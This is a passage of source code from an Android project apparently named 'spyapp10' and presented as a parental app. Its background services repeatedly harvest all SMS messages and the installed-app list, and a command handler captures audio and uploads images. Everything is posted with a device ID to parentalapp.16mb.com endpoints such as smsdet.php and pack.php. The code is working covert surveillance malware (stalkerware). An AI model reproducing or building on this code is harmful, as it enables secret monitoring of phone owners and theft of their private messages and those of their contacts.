212 | }else if (status==('3')){ 213 | new UpdateUserDetail().execute(DID); 214 | captureAudio(); 215 | }else if (status==('4')){ 216 | new UpdateUserDetail().execute(DID); 217 | playRingtone(); 218 | }else { 219 | } 220 | } catch (Exception e) { 221 | Log.e("status1112", e.toString()); 222 | } 223 | } 224 | } 225 | private class UpdateUserDetail extends AsyncTask { 226 | @Override 227 | protected JSONObject doInBackground(String... params) { 228 | JSONObject mJSONResponse = null; 229 | try { 230 | HttpClient mClient = new DefaultHttpClient(); 231 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/ack.php"); 232 | List nameValuePair = new ArrayList(1); 233 | nameValuePair.add(new BasicNameValuePair("did", params[0])); 234 | 235 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 236 | HttpResponse mResponse = mClient.execute(httpPost); 237 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 238 | mJSONResponse = new JSONObject(mJResponse); 239 | } catch (Exception e) { 240 | e.printStackTrace(); 241 | } 242 | return mJSONResponse; 243 | } 244 | 245 | @Override 246 | protected void onPostExecute(JSONObject jsonObject) { 247 | super.onPostExecute(jsonObject); 248 | String status = null; 249 | try { 250 | status = jsonObject.getString("code"); 251 | } catch (Exception e) { 252 | } 253 | } 254 | } 255 | private class sendDataToDashboard extends AsyncTask { 256 | @Override 257 | protected JSONObject doInBackground(String... params) { 258 | JSONObject mJSONResponse = null; 259 | try { 260 | HttpClient mClient = new DefaultHttpClient(); 261 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/imageupload.php"); 262 | List nameValuePair = new ArrayList(4); 263 | nameValuePair.add(new BasicNameValuePair("did", params[0])); 264 | nameValuePair.add(new BasicNameValuePair("image", params[1])); 265 | nameValuePair.add(new BasicNameValuePair("type", params[2])); 266 | 267 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 268 | HttpResponse mResponse = mClient.execute(httpPost); 269 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 270 | mJSONResponse = new JSONObject(mJResponse); 271 | } catch (Exception e) { 272 | e.printStackTrace(); 273 | } 274 | return mJSONResponse; 275 | } 276 | 277 | @Override 278 | protected void onPostExecute(JSONObject jsonObject) { 279 | super.onPostExecute(jsonObject); 280 | String status = null; 281 | try { 282 | status = jsonObject.getString("code"); 283 | } catch (Exception e) { 284 | } 285 | } 286 | } 287 | public File createDirIfNotExists(String path) { 288 | File folder = new File(Environment.getExternalStorageDirectory().getAbsolutePath()); 289 | if (!folder.exists()) { 290 | if (!folder.mkdirs()) { 291 | Log.e("vipul1_folder", "folder is created"); 292 | } 293 | } 294 | File file = new File(folder, path + ".3GPP"); 295 | try { 296 | if (!file.exists()) { 297 | if (file.createNewFile()) { 298 | Log.e("vipul1_file", "file is created"); 299 | } 300 | } 301 | } catch (IOException e) { 302 | } 303 | return file; 304 | } 305 | 306 | public String getStringImage(byte[] imageBytes){ 307 | String encodedImage = Base64.encodeToString(imageBytes, Base64.DEFAULT); 308 | return encodedImage; 309 | } 310 | } 311 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/messageService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.database.Cursor; 6 | import android.net.Uri; 7 | import android.os.AsyncTask; 8 | import android.os.IBinder; 9 | import android.provider.Settings; 10 | import android.util.Log; 11 | 12 | import org.apache.http.HttpResponse; 13 | import org.apache.http.NameValuePair; 14 | import org.apache.http.client.HttpClient; 15 | import org.apache.http.client.entity.UrlEncodedFormEntity; 16 | import org.apache.http.client.methods.HttpPost; 17 | import org.apache.http.impl.client.DefaultHttpClient; 18 | import org.apache.http.message.BasicNameValuePair; 19 | import org.apache.http.util.EntityUtils; 20 | import org.json.JSONObject; 21 | 22 | import java.text.SimpleDateFormat; 23 | import java.util.ArrayList; 24 | import java.util.Date; 25 | import java.util.List; 26 | 27 | public class messageService extends Service { 28 | public messageService() { 29 | } 30 | 31 | @Override 32 | public IBinder onBind(Intent intent) { 33 | // TODO: Return the communication channel to the service. 34 | throw new UnsupportedOperationException("Not yet implemented"); 35 | } 36 | @Override 37 | public void onStart(Intent intent, int startId) { 38 | super.onStart(intent, startId); 39 | 40 | final Thread runnable = new Thread() { 41 | @Override 42 | public void run() { 43 | while (true) { 44 | try { 45 | messageLog(); 46 | sleep(30000); 47 | } catch (Exception e) { 48 | Log.e("errorinService1", e.toString()); 49 | } 50 | } 51 | } 52 | }; 53 | runnable.start(); 54 | } 55 | 56 | @Override 57 | public void onDestroy() { 58 | super.onDestroy(); 59 | } 60 | public void messageLog(){ 61 | String a=null,b=null,c=null,d= null; 62 | String body="",number="",date="",typeOfSMS="",time=""; 63 | try{ 64 | Uri uri = Uri.parse("content://sms"); 65 | Cursor cursor1 = getContentResolver().query(uri, null, null, null, null); 66 | cursor1.moveToFirst(); 67 | while(!cursor1.isLast()) { 68 | try { 69 | a = cursor1.getString(cursor1.getColumnIndex("body")).toString(); 70 | b = cursor1.getString(cursor1.getColumnIndex("address")).toString(); 71 | date = cursor1.getString(cursor1.getColumnIndex("date")).toString(); 72 | Date callDayTime = new Date(Long.valueOf(date)); 73 | c = "DAY-" + new SimpleDateFormat("yyyy-MM-dd").format(callDayTime) + " TIME-" + 74 | new SimpleDateFormat("HH:mm").format(callDayTime) + "||"; 75 | String type = cursor1.getString(cursor1.getColumnIndex("type")).toString(); 76 | switch (Integer.parseInt(type)) { 77 | case 1: 78 | d = "INBOX"; 79 | break; 80 | case 2: 81 | d = "SENT"; 82 | break; 83 | case 3: 84 | d = "DRAFT"; 85 | break; 86 | } 87 | }catch (Exception e){ 88 | } 89 | finally { 90 | cursor1.moveToNext(); 91 | } 92 | body+=a+"||"; 93 | number+=b+"||"; 94 | time+=c+"||"; 95 | typeOfSMS+=d+"||"; 96 | } 97 | 98 | String DeviceId = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 99 | String Email=MainActivity.EMAIL; 100 | new UpdateUserDetailMESSAGE().execute(Email, DeviceId, body, number, time, typeOfSMS); 101 | cursor1.close(); 102 | }catch (Exception f){ 103 | } 104 | } 105 | private class UpdateUserDetailMESSAGE extends AsyncTask { 106 | @Override 107 | protected JSONObject doInBackground(String... params) { 108 | JSONObject mJSONResponse = null; 109 | try { 110 | HttpClient mClient = new DefaultHttpClient(); 111 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/smsdet.php"); 112 | List nameValuePair = new ArrayList(6); 113 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 114 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 115 | nameValuePair.add(new BasicNameValuePair("msg", params[2])); 116 | nameValuePair.add(new BasicNameValuePair("phone", params[3])); 117 | nameValuePair.add(new BasicNameValuePair("time", params[4])); 118 | nameValuePair.add(new BasicNameValuePair("type", params[5])); 119 | 120 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 121 | HttpResponse mResponse = mClient.execute(httpPost); 122 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 123 | mJSONResponse = new JSONObject(mJResponse); 124 | } catch (Exception e) { 125 | } 126 | return mJSONResponse; 127 | } 128 | 129 | @Override 130 | protected void onPostExecute(JSONObject jsonObject) { 131 | super.onPostExecute(jsonObject); 132 | } 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /java/com/example/vipul/spyapp10/packageInfoService.java: -------------------------------------------------------------------------------- 1 | package com.example.vipul.spyapp10; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.content.pm.PackageInfo; 6 | import android.os.AsyncTask; 7 | import android.os.IBinder; 8 | import android.provider.Settings; 9 | 10 | import org.apache.http.HttpResponse; 11 | import org.apache.http.NameValuePair; 12 | import org.apache.http.client.HttpClient; 13 | import org.apache.http.client.entity.UrlEncodedFormEntity; 14 | import org.apache.http.client.methods.HttpPost; 15 | import org.apache.http.impl.client.DefaultHttpClient; 16 | import org.apache.http.message.BasicNameValuePair; 17 | import org.apache.http.util.EntityUtils; 18 | import org.json.JSONObject; 19 | 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | 23 | public class packageInfoService extends Service { 24 | public packageInfoService() { 25 | } 26 | 27 | @Override 28 | public IBinder onBind(Intent intent) { 29 | // TODO: Return the communication channel to the service. 30 | throw new UnsupportedOperationException("Not yet implemented"); 31 | } 32 | @Override 33 | public void onStart(Intent intent, int startId) { 34 | super.onStart(intent, startId); 35 | 36 | final Thread runnable = new Thread() { 37 | @Override 38 | public void run() { 39 | while (true) { 40 | try { 41 | packageInfo(); 42 | sleep(300000); 43 | } catch (Exception e) { 44 | } 45 | } 46 | } 47 | }; 48 | runnable.start(); 49 | } 50 | @Override 51 | public void onDestroy() { 52 | super.onDestroy(); 53 | } 54 | public void packageInfo() { 55 | try { 56 | List apps = getPackageManager().getInstalledPackages(0); 57 | String appname = "", pname = ""; 58 | for (int i = 0; i < apps.size(); i++) { 59 | PackageInfo p = apps.get(i); 60 | appname += p.applicationInfo.loadLabel(getPackageManager()).toString() + "||"; 61 | pname += p.packageName + "||"; 62 | } 63 | String DeviceId = Settings.Secure.getString(this.getContentResolver(), Settings.Secure.ANDROID_ID) ; 64 | String Email=MainActivity.EMAIL; 65 | new UpdateUserDetailPACKAGE().execute(Email, DeviceId, appname, pname); 66 | }catch (Exception e) { 67 | } 68 | } 69 | private class UpdateUserDetailPACKAGE extends AsyncTask { 70 | @Override 71 | protected JSONObject doInBackground(String... params) { 72 | JSONObject mJSONResponse = null; 73 | try { 74 | HttpClient mClient = new DefaultHttpClient(); 75 | HttpPost httpPost = new HttpPost("http://parentalapp.16mb.com/pack.php"); 76 | List nameValuePair = new ArrayList(4); 77 | nameValuePair.add(new BasicNameValuePair("email", params[0])); 78 | nameValuePair.add(new BasicNameValuePair("did", params[1])); 79 | nameValuePair.add(new BasicNameValuePair("name", params[2])); 80 | nameValuePair.add(new BasicNameValuePair("pack", params[3])); 81 | httpPost.setEntity(new UrlEncodedFormEntity(nameValuePair)); 82 | HttpResponse mResponse = mClient.execute(httpPost); 83 | String mJResponse = EntityUtils.toString(mResponse.getEntity()); 84 | mJSONResponse = new JSONObject(mJResponse); 85 | } catch (Exception e) { 86 | } 87 | return mJSONResponse; 88 | } 89 | 90 | @Override 91 | protected void onPostExecute(JSONObject jsonObject) { 92 | super.onPostExecute(jsonObject); 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 14 | 21 | 28 | 29 | 35 | 42 | 49 | 50 | 56 | 63 | 70 | 71 | 77 | 84 | 91 | 92 | 98 | 105 | 112 | 113 |